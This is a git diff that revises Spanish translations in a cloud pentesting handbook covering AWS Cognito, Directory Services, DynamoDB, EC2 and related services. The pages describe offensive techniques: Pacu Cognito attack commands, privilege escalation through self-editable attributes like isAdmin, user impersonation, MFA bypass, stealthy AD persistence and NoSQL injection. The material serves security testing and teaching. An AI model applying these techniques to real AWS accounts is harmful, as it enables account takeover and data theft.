enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de grupos de identidad utilizables, roles asumibles en tokens de id, etc.\ -Para una descripción de las funciones de los módulos, consulta la parte 2 de la [entrada del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu). +Para una descripción de las funciones de los módulos, consulta la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y el oracle de cuentas. Consulta [este enlace](https://github.com/padok-team/cognito-scanner) para más información. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y el oracle de cuentas. Consulta [this link](https://github.com/padok-team/cognito-scanner) para más información. ```bash # Install pip install cognito-scanner @@ -65,15 +65,15 @@ Puedes proporcionar los detalles necesarios con un JSON como: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` -Podrías usar esta funcionalidad también para **enumerar usuarios existentes.** Este es el mensaje de error cuando un usuario ya existe con ese nombre: +También podrías usar esta funcionalidad para **enumerar usuarios existentes.** Este es el mensaje de error cuando un usuario ya existe con ese nombre: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` > [!NOTE] > Nota en el comando anterior cómo los **atributos personalizados comienzan con "custom:"**.\ -> También sepa que al registrarse **no puede crear nuevos atributos personalizados para el usuario**. Solo puede dar valor a los **atributos predeterminados** (incluso si no son obligatorios) y a los **atributos personalizados especificados**. +> También se debe saber que al registrarse **no se pueden crear nuevos atributos personalizados para el usuario**. Solo se puede dar valor a **atributos predeterminados** (incluso si no son obligatorios) y **atributos personalizados especificados**. -O solo para probar si existe un id de cliente. Este es el error si el client-id no existe: +O simplemente para probar si existe un id de cliente. Este es el error si el client-id no existe: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` @@ -83,9 +83,9 @@ Encontrarás este error y no podrás registrar o enumerar usuarios: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` -### Verifying Registration +### Verificando el Registro -Cognito permite **verificar un nuevo usuario verificando su correo electrónico o número de teléfono**. Por lo tanto, al crear un usuario, generalmente se requerirá al menos el nombre de usuario y la contraseña y el **correo electrónico y/o número de teléfono**. Simplemente establece uno **que controles** para que recibas el código para **verificar tu** cuenta de usuario **recientemente creada** así: +Cognito permite **verificar un nuevo usuario verificando su correo electrónico o número de teléfono**. Por lo tanto, al crear un usuario, generalmente se requerirá al menos el nombre de usuario y la contraseña, así como el **correo electrónico y/o número de teléfono**. Simplemente establece uno **que controles** para que recibas el código para **verificar tu** cuenta de usuario **recientemente creada** así: ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ @@ -103,17 +103,17 @@ aws cognito-idp update-user-attributes \ --user-attributes Name=address,Value=street \ --access-token ``` -#### Privesc de atributos personalizados +#### Privesc de atributo personalizado > [!CAUTION] -> Puedes encontrar **atributos personalizados** siendo utilizados (como `isAdmin`), ya que por defecto puedes **cambiar los valores de tus propios atributos**, ¡podrías ser capaz de **escalar privilegios** cambiando el valor tú mismo! +> Podrías encontrar **atributos personalizados** siendo utilizados (como `isAdmin`), ya que por defecto puedes **cambiar los valores de tus propios atributos**, ¡podrías ser capaz de **escalar privilegios** cambiando el valor tú mismo! #### Privesc de modificación de correo electrónico/nombre de usuario Puedes usar esto para **modificar el correo electrónico y el número de teléfono** de un usuario, pero luego, incluso si la cuenta permanece como verificada, esos atributos están **establecidos en estado no verificado** (necesitas verificarlos nuevamente). > [!WARNING] -> **No podrás iniciar sesión con el correo electrónico o el número de teléfono** hasta que los verifiques, pero podrás **iniciar sesión con el nombre de usuario**.\ +> No **podrás iniciar sesión con el correo electrónico o el número de teléfono** hasta que los verifiques, pero podrás **iniciar sesión con el nombre de usuario**.\ > Ten en cuenta que incluso si el correo electrónico fue modificado y no verificado, aparecerá en el ID Token dentro del **campo** **`email`** y el campo **`email_verified`** será **falso**, pero si la aplicación **no está verificando eso, podrías suplantar a otros usuarios**. > Además, ten en cuenta que puedes poner cualquier cosa dentro del campo **`name`** simplemente modificando el **atributo name**. Si una aplicación está **verificando** **ese** campo por alguna razón **en lugar del `email`** (o cualquier otro atributo), podrías ser capaz de **suplantar a otros usuarios**. @@ -158,12 +158,12 @@ aws cognito-idp change-password \ ``` ## Autenticación -Un grupo de usuarios admite **diferentes formas de autenticarse**. Si tienes un **nombre de usuario y contraseña**, también hay **diferentes métodos** admitidos para iniciar sesión.\ -Además, cuando un usuario está autenticado en el grupo, se **otorgan 3 tipos de tokens**: El **ID Token**, el **Access token** y el **Refresh token**. +Un grupo de usuarios admite **diferentes formas de autenticarse**. Si tienes un **nombre de usuario y contraseña**, también hay **diferentes métodos** soportados para iniciar sesión.\ +Además, cuando un usuario está autenticado en el grupo, se **otorgan 3 tipos de tokens**: el **ID Token**, el **Access token** y el **Refresh token**. - [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Contiene afirmaciones sobre la **identidad del usuario autenticado**, como `name`, `email` y `phone_number`. El ID token también se puede usar para **autenticar usuarios en tus servidores de recursos o aplicaciones de servidor**. Debes **verificar** la **firma** del ID token antes de poder confiar en cualquier afirmación dentro del ID token si lo usas en aplicaciones externas. - El ID Token es el token que **contiene los valores de los atributos del usuario**, incluso los personalizados. -- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Contiene afirmaciones sobre el usuario autenticado, una lista de los **grupos del usuario y una lista de scopes**. El propósito del access token es **autorizar operaciones de API** en el contexto del usuario en el grupo de usuarios. Por ejemplo, puedes usar el access token para **otorgar a tu usuario acceso** para agregar, cambiar o eliminar atributos de usuario. +- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Contiene afirmaciones sobre el usuario autenticado, una lista de los **grupos del usuario** y una lista de scopes. El propósito del access token es **autorizar operaciones de API** en el contexto del usuario en el grupo de usuarios. Por ejemplo, puedes usar el access token para **otorgar a tu usuario acceso** para agregar, cambiar o eliminar atributos de usuario. - [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Con los refresh tokens puedes **obtener nuevos ID Tokens y Access Tokens** para el usuario hasta que el **refresh token sea inválido**. Por **defecto**, el refresh token **expira 30 días después** de que el usuario de tu aplicación inicie sesión en tu grupo de usuarios. Cuando creas una aplicación para tu grupo de usuarios, puedes establecer la expiración del refresh token de la aplicación a **cualquier valor entre 60 minutos y 10 años**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH @@ -250,10 +250,10 @@ La **principal diferencia** con el **método de autenticación anterior** dentro Para **iniciar sesión** necesitas saber: -- id de cliente -- nombre de usuario -- contraseña -- secreto de cliente (solo si la aplicación está configurada para usar un secreto) +- client id +- username +- password +- client secret (solo si la aplicación está configurada para usar un secreto) > [!NOTE] > Para **poder iniciar sesión con este método**, esa aplicación debe permitir iniciar sesión con ALLOW_USER_PASSWORD_AUTH. @@ -266,7 +266,7 @@ aws cognito-idp initiate-auth --client-id \ ```
-Código Python para iniciar sesión +Código Python para Iniciar Sesión ```python import boto3 import botocore @@ -395,15 +395,15 @@ En este caso, la **autenticación** se realizará a través de la **ejecución d ### Seguridad Avanzada -Por defecto está deshabilitada, pero si se habilita, Cognito podría ser capaz de **encontrar tomas de control de cuentas**. Para minimizar la probabilidad, deberías iniciar sesión desde una **red dentro de la misma ciudad, utilizando el mismo agente de usuario** (y IP si es posible)**.** +Por defecto está desactivada, pero si se habilita, Cognito podría ser capaz de **encontrar tomas de control de cuentas**. Para minimizar la probabilidad, deberías iniciar sesión desde una **red dentro de la misma ciudad, utilizando el mismo agente de usuario** (y la IP si es posible)**.** ### **MFA Recordar dispositivo** Si el usuario inicia sesión desde el mismo dispositivo, el MFA podría ser eludido, por lo tanto, intenta iniciar sesión desde el mismo navegador con los mismos metadatos (¿IP?) para intentar eludir la protección MFA. -## Grupos de User Pool Roles IAM +## Roles IAM de Grupos de User Pool -Es posible agregar **usuarios a grupos de User Pool** que están relacionados con uno **roles IAM**.\ +Es posible agregar **usuarios a grupos de User Pool** que están relacionados con un **rol IAM**.\ Además, **los usuarios** pueden ser asignados a **más de 1 grupo con diferentes roles IAM** adjuntos. Ten en cuenta que incluso si un grupo está dentro de un grupo con un rol IAM adjunto, para poder acceder a las credenciales IAM de ese grupo es necesario que el **User Pool sea confiable por un Identity Pool** (y conocer los detalles de ese Identity Pool). @@ -412,13 +412,13 @@ Otro requisito para obtener el **rol IAM indicado en el IdToken** cuando un usua
-Los **roles** a los que un usuario tiene acceso están **dentro del `IdToken`**, y un usuario puede **seleccionar qué rol le gustaría tener credenciales** con el **`--custom-role-arn`** de `aws cognito-identity get-credentials-for-identity`.\ +Los **roles** a los que un usuario tiene acceso están **dentro del `IdToken`**, y un usuario puede **seleccionar qué rol le gustaría obtener credenciales** con el **`--custom-role-arn`** de `aws cognito-identity get-credentials-for-identity`.\ Sin embargo, si la **opción predeterminada** es la que está **configurada** (`usar rol predeterminado`), y intentas acceder a un rol desde el IdToken, recibirás un **error** (por eso se necesita la configuración anterior): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> Tenga en cuenta que el rol asignado a un **User Pool Group** necesita ser **accesible por el Proveedor de Identidad** que **confía en el User Pool** (ya que las **credenciales de sesión del rol IAM se van a obtener de él**). +> Tenga en cuenta que el rol asignado a un **Grupo de User Pool** debe ser **accesible por el Proveedor de Identidad** que **confía en el User Pool** (ya que las **credenciales de sesión del rol IAM se obtendrán de él**). ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index c2841b8e3..2c8d9096a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -33,7 +33,7 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de datap ## CodePipeline -AWS CodePipeline es un servicio de **entrega continua** completamente gestionado que te ayuda a **automatizar tus pipelines de lanzamiento** para actualizaciones rápidas y confiables de aplicaciones e infraestructura. CodePipeline automatiza las **fases de construcción, prueba y despliegue** de tu proceso de lanzamiento cada vez que hay un cambio en el código, basado en el modelo de lanzamiento que defines. +AWS CodePipeline es un **servicio de entrega continua** completamente gestionado que te ayuda a **automatizar tus pipelines de lanzamiento** para actualizaciones rápidas y confiables de aplicaciones e infraestructura. CodePipeline automatiza las **fases de construcción, prueba y despliegue** de tu proceso de lanzamiento cada vez que hay un cambio en el código, basado en el modelo de lanzamiento que defines. ### Enumeration ```bash @@ -56,7 +56,7 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de codep Es un **servicio de control de versiones**, que está alojado y completamente gestionado por Amazon, que se puede utilizar para almacenar datos de forma privada (documentos, archivos binarios, código fuente) y gestionarlos en la nube. -**Elimina** el requisito de que el usuario conozca Git y **gestione su propio sistema de control de versiones** o se preocupe por escalar su infraestructura. Codecommit admite todas las **funcionalidades estándar que se pueden encontrar en Git**, lo que significa que funciona sin problemas con las herramientas basadas en Git actuales del usuario. +**Elimina** la necesidad de que el usuario conozca Git y **gestione su propio sistema de control de versiones** o se preocupe por escalar su infraestructura. Codecommit admite todas las **funcionalidades estándar que se pueden encontrar en Git**, lo que significa que funciona sin problemas con las herramientas basadas en Git actuales del usuario. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 2da843a29..fd3df540a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -1,28 +1,28 @@ -# AWS - Directory Services / WorkDocs Enum +# AWS - Servicios de Directorio / Enumeración de WorkDocs {{#include ../../../banners/hacktricks-training.md}} -## Directory Services +## Servicios de Directorio -AWS Directory Service para Microsoft Active Directory es un servicio gestionado que facilita **configurar, operar y escalar un directorio** en la nube de AWS. Está construido sobre el **Microsoft Active Directory** real e integra estrechamente con otros servicios de AWS, lo que facilita la gestión de tus cargas de trabajo y recursos de AWS que son conscientes del directorio. Con AWS Managed Microsoft AD, puedes **usar tus existentes** usuarios, grupos y políticas de Active Directory para gestionar el acceso a tus recursos de AWS. Esto puede ayudar a simplificar tu gestión de identidad y reducir la necesidad de soluciones de identidad adicionales. AWS Managed Microsoft AD también proporciona copias de seguridad automáticas y capacidades de recuperación ante desastres, ayudando a garantizar la disponibilidad y durabilidad de tu directorio. En general, AWS Directory Service para Microsoft Active Directory puede ayudarte a ahorrar tiempo y recursos al proporcionar un servicio de Active Directory gestionado, altamente disponible y escalable en la nube de AWS. +AWS Directory Service para Microsoft Active Directory es un servicio gestionado que facilita **configurar, operar y escalar un directorio** en la nube de AWS. Está construido sobre el **Microsoft Active Directory** real e integra estrechamente con otros servicios de AWS, lo que facilita la gestión de tus cargas de trabajo y recursos de AWS que son conscientes del directorio. Con AWS Managed Microsoft AD, puedes **usar tus usuarios, grupos y políticas** de Active Directory existentes para gestionar el acceso a tus recursos de AWS. Esto puede ayudar a simplificar tu gestión de identidad y reducir la necesidad de soluciones de identidad adicionales. AWS Managed Microsoft AD también proporciona copias de seguridad automáticas y capacidades de recuperación ante desastres, ayudando a garantizar la disponibilidad y durabilidad de tu directorio. En general, AWS Directory Service para Microsoft Active Directory puede ayudarte a ahorrar tiempo y recursos al proporcionar un servicio de Active Directory gestionado, altamente disponible y escalable en la nube de AWS. -### Options +### Opciones -Directory Services permite crear 5 tipos de directorios: +Los Servicios de Directorio permiten crear 5 tipos de directorios: - **AWS Managed Microsoft AD**: Que ejecutará un nuevo **Microsoft AD en AWS**. Podrás establecer la contraseña de administrador y acceder a los DCs en una VPC. - **Simple AD**: Que será un servidor compatible con Active Directory **Linux-Samba**. Podrás establecer la contraseña de administrador y acceder a los DCs en una VPC. -- **AD Connector**: Un proxy para **redirigir solicitudes de directorio a tu existente Microsoft Active Directory** sin almacenar información en la nube. Estará escuchando en una **VPC** y necesitas proporcionar **credenciales para acceder al AD existente**. +- **AD Connector**: Un proxy para **redirigir solicitudes de directorio a tu Microsoft Active Directory existente** sin almacenar información en la nube. Estará escuchando en una **VPC** y necesitas proporcionar **credenciales para acceder al AD existente**. - **Amazon Cognito User Pools**: Esto es lo mismo que Cognito User Pools. -- **Cloud Directory**: Este es el **más simple**. Un directorio **sin servidor** donde indicas el **esquema** a utilizar y se **cobran según el uso**. +- **Cloud Directory**: Este es el más **simple**. Un directorio **sin servidor** donde indicas el **esquema** a utilizar y se te **cobrarán según el uso**. Los servicios de directorio de AWS permiten **sincronizar** con tu **Microsoft AD** existente **en las instalaciones**, **ejecutar tu propio** en AWS o sincronizar con **otros tipos de directorios**. -### Lab +### Laboratorio Aquí puedes encontrar un buen tutorial para crear tu propio Microsoft AD en AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) -### Enumeration +### Enumeración ```bash # Get directories and DCs aws ds describe-directories @@ -37,7 +37,7 @@ aws ds describe-certificate --directory-id --certificate-id ``` ### Login -Tenga en cuenta que si la **descripción** del directorio contenía un **dominio** en el campo **`AccessUrl`** es porque un **usuario** probablemente puede **iniciar sesión** con sus **credenciales de AD** en algunos **servicios de AWS:** +Tenga en cuenta que si la **descripción** del directorio contenía un **dominio** en el campo **`AccessUrl`**, es porque un **usuario** probablemente puede **iniciar sesión** con sus **credenciales de AD** en algunos **servicios de AWS:** - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -55,10 +55,10 @@ Tenga en cuenta que si la **descripción** del directorio contenía un **dominio ### Using an AD user -Un **usuario de AD** puede recibir **acceso a la consola de administración de AWS** a través de un Rol que asumir. El **nombre de usuario predeterminado es Admin** y es posible **cambiar su contraseña** desde la consola de AWS. +Un **usuario de AD** puede recibir **acceso a la consola de administración de AWS** a través de un rol que asumir. El **nombre de usuario predeterminado es Admin** y es posible **cambiar su contraseña** desde la consola de AWS. -Por lo tanto, es posible **cambiar la contraseña de Admin**, **crear un nuevo usuario** o **cambiar la contraseña** de un usuario y otorgar a ese usuario un Rol para mantener el acceso.\ -También es posible **agregar un usuario a un grupo dentro de AD** y **dar acceso a ese grupo de AD a un Rol** (para hacer que esta persistencia sea más sigilosa). +Por lo tanto, es posible **cambiar la contraseña de Admin**, **crear un nuevo usuario** o **cambiar la contraseña** de un usuario y otorgar a ese usuario un rol para mantener el acceso.\ +También es posible **agregar un usuario a un grupo dentro de AD** y **dar acceso a ese grupo de AD a un rol** (para hacer que esta persistencia sea más sigilosa). ### Sharing AD (from victim to attacker) @@ -75,7 +75,7 @@ No parece posible otorgar acceso a AWS a usuarios de un entorno de AD diferente Amazon Web Services (AWS) WorkDocs es un **servicio de almacenamiento y compartición de archivos** basado en la nube. Es parte de la suite de servicios de computación en la nube de AWS y está diseñado para proporcionar una solución segura y escalable para que las organizaciones almacenen, compartan y colaboren en archivos y documentos. -AWS WorkDocs proporciona una interfaz basada en la web para que los usuarios carguen, accedan y gestionen sus archivos y documentos. También ofrece características como control de versiones, colaboración en tiempo real e integración con otros servicios de AWS y herramientas de terceros. +AWS WorkDocs proporciona una interfaz basada en la web para que los usuarios suban, accedan y gestionen sus archivos y documentos. También ofrece características como control de versiones, colaboración en tiempo real e integración con otros servicios de AWS y herramientas de terceros. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index 355ab4708..e6f0ee885 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -1,4 +1,4 @@ -# AWS - DynamoDB Enum +# AWS - Enumeración de DynamoDB {{#include ../../../banners/hacktricks-training.md}} @@ -59,7 +59,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md {{#endref}} -### Privesc +### Escalación de Privilegios {{#ref}} ../aws-privilege-escalation/aws-dynamodb-privesc.md @@ -77,7 +77,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-persistence/aws-dynamodb-persistence.md {{#endref}} -## Inyección de DynamoDB +## Inyección en DynamoDB ### Inyección SQL @@ -89,13 +89,13 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### Inyección NoSQL -En DynamoDB se pueden usar diferentes **condiciones** para recuperar datos, como en una inyección NoSQL común, si es posible **encadenar más condiciones para recuperar** datos, podrías obtener datos ocultos (o volcar toda la tabla).\ +En DynamoDB se pueden usar diferentes **condiciones** para recuperar datos, como en una inyección NoSQL común; si es posible **encadenar más condiciones para recuperar** datos, podrías obtener datos ocultos (o volcar toda la tabla).\ Puedes encontrar aquí las condiciones soportadas por DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Ten en cuenta que **diferentes condiciones** son soportadas si los datos se acceden a través de **`query`** o a través de **`scan`**. +Ten en cuenta que se soportan **diferentes condiciones** si los datos se acceden a través de **`query`** o a través de **`scan`**. > [!NOTE] -> De hecho, las acciones de **Query** necesitan especificar la **condición "EQ" (igual)** en la **clave primaria** para funcionar, lo que las hace mucho **menos propensas a inyecciones NoSQL** (y también limita mucho la operación). +> De hecho, las acciones de **Query** necesitan especificar la **condición "EQ" (igual)** en la clave **primaria** para funcionar, lo que las hace mucho **menos propensas a inyecciones NoSQL** (y también limita mucho la operación). Si puedes **cambiar la comparación** realizada o agregar nuevas, podrías recuperar más datos. ```bash @@ -111,7 +111,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ### Inyección de Json en bruto > [!CAUTION] -> **¡Esta vulnerabilidad se basa en el Filtro de Escaneo de dynamodb que ahora está obsoleto!** +> **¡Esta vulnerabilidad se basa en el Filtro de Escaneo de dynamodb que ahora está en desuso!** **DynamoDB** acepta objetos **Json** para **buscar** datos dentro de la base de datos. Si descubres que puedes escribir en el objeto json enviado para buscar, podrías hacer un volcado de la base de datos, todo el contenido. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index bcbeffd6c..99c0e10f8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 se utiliza para iniciar **servidores virtuales**. Permite la configuración de **seguridad** y **redes** y la gestión de **almacenamiento**. La flexibilidad de Amazon EC2 es evidente en su capacidad para escalar recursos tanto hacia arriba como hacia abajo, adaptándose efectivamente a los cambios en los requisitos o aumentos en la popularidad. Esta característica disminuye la necesidad de predicciones de tráfico precisas. +Amazon EC2 se utiliza para iniciar **servidores virtuales**. Permite la configuración de **seguridad** y **redes** y la gestión de **almacenamiento**. La flexibilidad de Amazon EC2 es evidente en su capacidad para escalar recursos tanto hacia arriba como hacia abajo, adaptándose efectivamente a los cambios en los requisitos o aumentos en la popularidad. Esta característica disminuye la necesidad de predicciones precisas de tráfico. Cosas interesantes para enumerar en EC2: @@ -166,9 +166,9 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de EBS p ## SSM -**Amazon Simple Systems Manager (SSM)** permite gestionar de forma remota grupos de instancias EC2 para facilitar mucho más su administración. Cada una de estas instancias necesita estar ejecutando el **servicio SSM Agent, ya que este será el encargado de recibir las acciones y ejecutarlas** desde la API de AWS. +**Amazon Simple Systems Manager (SSM)** permite gestionar de forma remota grupos de instancias EC2 para facilitar su administración. Cada una de estas instancias necesita estar ejecutando el **servicio SSM Agent, ya que este será el encargado de recibir las acciones y ejecutarlas** desde la API de AWS. -El **SSM Agent** permite que Systems Manager actualice, gestione y configure estos recursos. El agente **procesa solicitudes del servicio Systems Manager en la nube de AWS**, y luego las ejecuta según lo especificado en la solicitud. +**SSM Agent** permite que Systems Manager actualice, gestione y configure estos recursos. El agente **procesa solicitudes del servicio Systems Manager en la nube de AWS**, y luego las ejecuta según lo especificado en la solicitud. El **SSM Agent viene**[ **preinstalado en algunas AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) o necesitas [**instalarlos manualmente**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) en las instancias. Además, el rol de IAM utilizado dentro de la instancia necesita tener la política **AmazonEC2RoleforSSM** adjunta para poder comunicarse. @@ -195,7 +195,7 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de SSM p ## ELB -**Elastic Load Balancing** (ELB) es un **servicio de balanceo de carga para implementaciones de Amazon Web Services** (AWS). ELB distribuye automáticamente **el tráfico de aplicación entrante** y escala los recursos para satisfacer las demandas de tráfico. +**Elastic Load Balancing** (ELB) es un **servicio de balanceo de carga para implementaciones de Amazon Web Services** (AWS). ELB **distribuye automáticamente el tráfico de aplicación entrante** y escala los recursos para satisfacer las demandas de tráfico. ### Enumeration ```bash @@ -208,7 +208,7 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` -## Plantillas de Lanzamiento y Grupos de Autoescalado +## Plantillas de Lanzamiento y Grupos de Escalado Automático ### Enumeración ```bash @@ -237,7 +237,7 @@ aws-nitro-enum.md ## VPN -Una VPN permite conectar tu **red local (VPN sitio a sitio)** o las **laptops de los trabajadores (VPN de cliente)** con una **AWS VPC** para que los servicios puedan ser accedidos sin necesidad de exponerlos a internet. +Una VPN permite conectar tu **red local (VPN sitio a sitio)** o las **laptops de los trabajadores (VPN de cliente)** con un **AWS VPC** para que los servicios puedan ser accedidos sin necesidad de exponerlos a Internet. #### Componentes Básicos de AWS VPN @@ -252,7 +252,7 @@ Una VPN permite conectar tu **red local (VPN sitio a sitio)** o las **laptops de - VPG es el punto final del lado de AWS para la conexión VPN. - Maneja la comunicación segura entre tu VPC y tu red local. 3. **Site-to-Site VPN Connection**: -- Una conexión VPN sitio a sitio conecta tu red local a una VPC a través de un túnel VPN IPsec seguro. +- Una conexión VPN sitio a sitio conecta tu red local a un VPC a través de un túnel VPN IPsec seguro. - Este tipo de conexión requiere un Customer Gateway y un Virtual Private Gateway. - Se utiliza para una comunicación segura, estable y consistente entre tu centro de datos o red y tu entorno AWS. - Típicamente se utiliza para conexiones regulares y a largo plazo y se factura según la cantidad de datos transferidos a través de la conexión. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 417c4d864..659a46e67 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,11 +4,11 @@ ## Información Básica -AWS Nitro es un conjunto de **tecnologías innovadoras** que forman la plataforma subyacente para las instancias de AWS EC2. Introducido por Amazon para **mejorar la seguridad, el rendimiento y la fiabilidad**, Nitro aprovecha **componentes de hardware personalizados y un hipervisor ligero**. Abstrae gran parte de la funcionalidad de virtualización tradicional a hardware y software dedicados, **minimizando la superficie de ataque** y mejorando la eficiencia de los recursos. Al descargar funciones de virtualización, Nitro permite que las instancias de EC2 ofrezcan **un rendimiento casi bare-metal**, lo que resulta particularmente beneficioso para aplicaciones que requieren muchos recursos. Además, el Nitro Security Chip asegura específicamente la **seguridad del hardware y el firmware**, solidificando aún más su arquitectura robusta. +AWS Nitro es un conjunto de **tecnologías innovadoras** que forman la plataforma subyacente para las instancias de AWS EC2. Introducido por Amazon para **mejorar la seguridad, el rendimiento y la fiabilidad**, Nitro aprovecha **componentes de hardware personalizados y un hipervisor ligero**. Abstrae gran parte de la funcionalidad de virtualización tradicional a hardware y software dedicados, **minimizando la superficie de ataque** y mejorando la eficiencia de los recursos. Al descargar funciones de virtualización, Nitro permite que las instancias de EC2 ofrezcan **un rendimiento casi de metal desnudo**, lo que lo hace particularmente beneficioso para aplicaciones que requieren muchos recursos. Además, el Nitro Security Chip asegura específicamente la **seguridad del hardware y el firmware**, solidificando aún más su robusta arquitectura. ### Nitro Enclaves -**AWS Nitro Enclaves** proporciona un entorno de computación seguro y **aislado dentro de las instancias de Amazon EC2**, diseñado específicamente para procesar datos altamente sensibles. Aprovechando el AWS Nitro System, estos enclaves aseguran un **aislamiento y seguridad robustos**, ideales para **manejar información confidencial** como PII o registros financieros. Presentan un entorno minimalista, reduciendo significativamente el riesgo de exposición de datos. Además, Nitro Enclaves soporta la atestación criptográfica, permitiendo a los usuarios verificar que solo se está ejecutando código autorizado, crucial para mantener estándares estrictos de cumplimiento y protección de datos. +**AWS Nitro Enclaves** proporciona un entorno de computación seguro y **aislado dentro de las instancias de Amazon EC2**, diseñado específicamente para procesar datos altamente sensibles. Aprovechando el AWS Nitro System, estos enclaves aseguran una **aislación y seguridad robustas**, ideales para **manejar información confidencial** como PII o registros financieros. Presentan un entorno minimalista, reduciendo significativamente el riesgo de exposición de datos. Además, Nitro Enclaves soporta la atestación criptográfica, permitiendo a los usuarios verificar que solo se está ejecutando código autorizado, crucial para mantener estándares estrictos de cumplimiento y protección de datos. > [!CAUTION] > Las imágenes de Nitro Enclave se **ejecutan desde dentro de las instancias de EC2** y no puedes ver desde la consola web de AWS si una instancia de EC2 está ejecutando imágenes en Nitro Enclave o no. @@ -56,12 